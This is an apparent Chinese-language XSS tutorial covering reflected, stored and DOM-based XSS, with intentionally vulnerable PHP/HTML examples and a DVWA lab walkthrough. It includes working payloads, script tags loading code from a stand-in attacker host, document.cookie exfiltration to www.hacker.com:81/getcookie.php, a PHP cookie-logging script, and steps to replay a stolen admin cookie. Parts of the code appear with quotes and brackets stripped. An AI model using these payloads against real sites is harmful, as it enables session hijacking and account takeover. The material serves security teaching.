XSS (跨站脚本攻击) 分析与实战

发布时间:2026/7/4 10:01:44
XSS (跨站脚本攻击) 分析与实战 一、漏洞原理1、XSS简介XSS全称Cross Site Scripting即跨站脚本攻击为了不和“层叠样式表”(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。XSS是最常见的 Web 应用程序安全漏洞之一这类漏洞能够使攻击者嵌入恶意脚本代码一般是JS代码到正常用户会访问到的页面中当正常用户访问该页面时恶意脚本代码将会在用户的浏览器上执行从而达到恶意攻击用户的目的。从上述内容可知XSS属于客户端攻击受害者最终是用户。但不要以为受害者是用户就认为跟自己的网站、服务器安全没有关系不要忘记网站管理人员也属于用户之一这就意味着 XSS 可以攻击 “服务器端”。因为管理员要比普通用户的权限大得多而攻击者就有可能靠管理员身份作为“跳板”实施攻击。2、XSS原理解析:XSS攻击在网页中嵌入的恶意脚本代码一般是使用 JavaScript 语言JavaScript 可以获取用户的Cookie、改变网页内容、URL跳转那么存在XSS漏洞的网站就可以盗取用户Cookie、黑掉页面、导航到恶意网站而攻击者需要做的仅仅是向Web页面中注入JavaScript 代码。下面是一个简单的XSS漏洞实例代码如下htmlheadmeta contenttext/html;charsetutf-8/titlexss漏洞示例/title/headbodycenterh6把输入的字符串输出/h6form action#methodgeth6请输入/h6input typetextnamexssbr/input typesubmitvalue确定/formhr?phpif(isset($_GET[xss])){echoinput typetext value.$_GET[xss].;}else{echoinput typetext;}?/center/body/html在代码中通过GET获取参数xss的值然后通过echo输出一个input标签并将xss的值放入input标签的value中。例如我们输入123会在下面的输出框中输出123。那么当我们输入scriptalert(1)/script时输出到页面的 HTML代码变为inputtypetextvaluescriptalert(1)/script发现输入的双引号闭合了value属性的双引号输入的闭合了input的标签导致我们后面输入的恶意代码成为另一个HTML标签。当浏览器渲染时执行了scriptalert(1)/scriptJS函数alert()导致浏览器弹窗。在真实的攻击中攻击者通过构造JS代码来实现一些 “特殊效果”。攻击者不仅仅弹出一个框通常使用script srchttp:// www.hacker.com/x.txt/script方式来加载外部脚本而在x.txt中就存放着攻击者的恶意JS 代码这段代码可能是用来盗取用户的Cookie也可能是监控键盘记录等恶意行为。注JavaScript 加载外部的代码文件可以是任意扩展名无扩展名也可以)如script srchttp://www.secbug.org/x.jpg/script即使文件为图片扩展名x.jpg但只要其文件中包含JS代码就会被执行。3、XSS的分类XSS主要被分为三类分别是反射型、存储型 和 DOM型。这些有一些相同的特点但是在如何确定和利用方面有一些区别下面依次分析它们。3.1、反射型XSS反射型XSS 也被称为 非持久性XSS是最容易出现的一种XSS漏洞。当用户访问一个带有 XSS 代码的 URL 请求时服务器端接收数据后处理然后把带有 XSS 代码的数据发送到浏览器浏览器解析这段带有 XSS 代码的数据后最终造成 XSS 漏洞。这个过程就像一次反射故称为 “反射型XSS”。下面用 DVWA 为大家进行演示在输入框中构造如下JS代码scriptalert(XSS)/script这代码是进行弹窗操作如果页面出现弹窗说明我们插入的恶意代码被执行结果如下可以看到页面出现弹窗即我们输入的代码被程序成功解析网站存在反射型XSS漏洞。可能有人会说这似乎并没有造成什么危害不就是弹出一个框吗那么请看下面这个例子。假如网站 www.XXX.com/xss.php 存在XSS反射型漏洞那么攻击者的步骤可能如下用户 A 是网站 www.XXX.com 的忠实用户此时正泡在论坛看信息。攻击者发现 www.XXX.com/xss.php 存在反射型XSS漏洞然后精心构造JS代码此段代码可以盗取用户Cookie发送到指定的站点 www.hacker.com。攻击者将带有反射型XSS漏洞的URL通过站内私信发送给用户A信的内容为一些诱惑信息目的是为让用户A单击链接。假设用户 A 点击了带有XSS漏洞的URL那么将会把自己的Cookie 发送到网站www.XXX.com。攻击者接收到用户 A 的会话Cookie可以直接利用Cookie 以 A 的身份登录www.XXX.org从而获取用户 A 的敏感信息。以上步骤通过使用反射型XSS漏洞可以以用户 A 的身份登录网站这就是其危害如果A的身份是管理员那么危害将更加严重。这是最简单的一种攻击攻击者截获通过验证的用户会话令牌。劫持用户的会话后攻击者就可以访问该用户经授权访问的所有数据和功能其过程可以用一张图表示3.2、存储型XSS存储型XSS又被称为持久性XSS是最危险的一种跨站脚本。允许用户存储数据的 Web 应用都可能会出现存储型XSS漏洞当攻击者提交一段XSS代码后被服务器端接收并存储然后不经过过滤或净化就显示给其他用户这时候就会出现存储型XSS。存储型与反射型、DOM型相比具有更高的隐蔽性危害性也更大。它们之间最大的区别在于反射型XSS 与 DOM型XSS 执行都必须依靠用户手动去触发而存储型XSS却不需要。利用存储型XSS漏洞的攻击至少需要向 Web 应用提出两个请求。攻击者在第一个请求中构造JavaScript应用程序接受并保存。在第二个请求中一名受害者查看包含恶意代码的页面这时JavaScript开始执行。下面以 DVWA 的存储型XSS为例核心代码:?phpif(isset($_POST[btnSign])){// Get input$messagetrim($_POST[mtxMessage]);$nametrim($_POST[txtName]);// Sanitize message input$messagestripslashes($message);$message((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$message):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));// Sanitize name input$name((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$name):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));// Update database$queryINSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);}?在上面代码中获取POST参数mtxMessage和txtName然后将参数插入到数据库的表中并显示到页面上。页面的功能是获取用户名字和内容并插入到数据库中如果我们输入恶意代码那么也会插入到数据库中只要用户访问这个页面那么恶意代码就会执行。在页面提交以下数据可以看到数据成功存储到了数据库那么当其它用户访问这个页面时就会执行存储的JS代码。试想一下如果攻击者构造的JS代码是把当前用户的Cookie发送给攻击者时后果会有多严重3.3、DOM型XSSDOM XSS与反射型XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端的解析响应触发XSS的是浏览器端即客户端的DOM解析。DOM的全称Document Object Model即文档对象模型DOM通常用于代表HTML、XHTML和XML中的对象。使用 DOM 可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。根据DOM规定HTML文档中的每个成分都是一个节点。DOM的规定如下整个文档是一个文档节点每个HTML标签是一个元素节点包含在HTML元素中的文本是文本节点每一个HTML属性是一个属性节点节点与节点之间都有层级关系这些节点按照层级关系组成了 DOM 的整体结构节点树如图所示在一个web页面中有许多组成页面的元素当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象接着生成各个子文档对象每个页面元素对应一个文档对象每个文档对象包含属性、方法和事件。通过JS脚本可以对文档对象进行编辑从而修改页面的元素。也就是说客户端的脚本程序可以通过DOM来动态修改页面内容从客户端获取DOM中的数据并在本地执行。基于这个特性就可以利用JS脚本来实现XSS漏洞的利用。可能触发DOM型XSS的属性document.referer属性window.name属性location属性innerHTML属性documen.write属性来看一个例子代码如下htmlheadmetacontenttext/html;charsetutf-8/titleXSS DOM/titlescripttypetext/javascriptfunctionreplace(){document.getElementById(id1).innerHTMLdocument.getElementById(dom_input).value;}/script/headbodycenterh6idid1这里显示输入的内容/h6formaction#methodpostinputtypetextiddom_inputvalue输入br/inputtypebuttonvalue替换onclickreplace()/formhr/center/body/html程序存在JS函数replace()该函数的作用是通过DOM操作将元素 id1 的内容修改为元素 dom_input 的内容。这个页面的功能是输入框中输入什么上面得文字就会被替换成什么。输入恶意代码img src1 onerroralert(1)单击替换按钮页面出现弹框说明我们的代码被浏览器成功解析导致DOM XSS。二、靶场实战前面介绍了 XSS 简单原理与几种类型接下来通过实例来演示XSS盗取用户的Cookie。XSS实现盗取管理员Cookie并登录这里测试用的工具是DVWA首先登陆DVWA选择low模式默认是impossible选择XSS(Reflected)首先对页面测试输入代码scriptalert(1)/script界面出现弹窗说明存在XSS跨站漏洞接下来在自己的网站目录下创建一个如下的php文件getcookie.php?php$cookie$_GET[cookie];//以GET方式获取cookie$logfopen(cookie.txt,a);fwrite($log,$cookie.\n);//写入文件并保存fclose($log);?接下来在有XSS漏洞的地方输入如下代码scriptdocument.locationhttp://www.hacker.com:81/getcookie.php?cookiedocument.cookie;/script注在JavaScript 中document.location 用于跳转页面document.cookie 可以创建 、读取、及删除cookie。或scriptvarinewImage;i.srchttp://www.hacker.com:81/getcookie.php?cookiedocument.cookie;/script点击提交后受攻击的用户的Cookie信息就会发送到攻击者的服务器并保存。可以看到Cookie信息成功发送到自己服务器里。接着使用我们正常用户进行登录DVWA 中内置了一些其他用户这里使用用户smithy 密码password进行登录并开启 burpsuite 抓包在 burpsuit 放行第一个请求即下面这个带用户名和密码的包将存在 Cookie 信息的请求发送到 Repeater 进行重放攻击替换用户 Cookie 信息将现在的普通用户的 cookie 信息替换成前期抓到的 admin 用户的cookie 信息。成功以管理员账户登录点击 Show response in browser 在浏览器中打开点击copy在浏览器中打开测试结束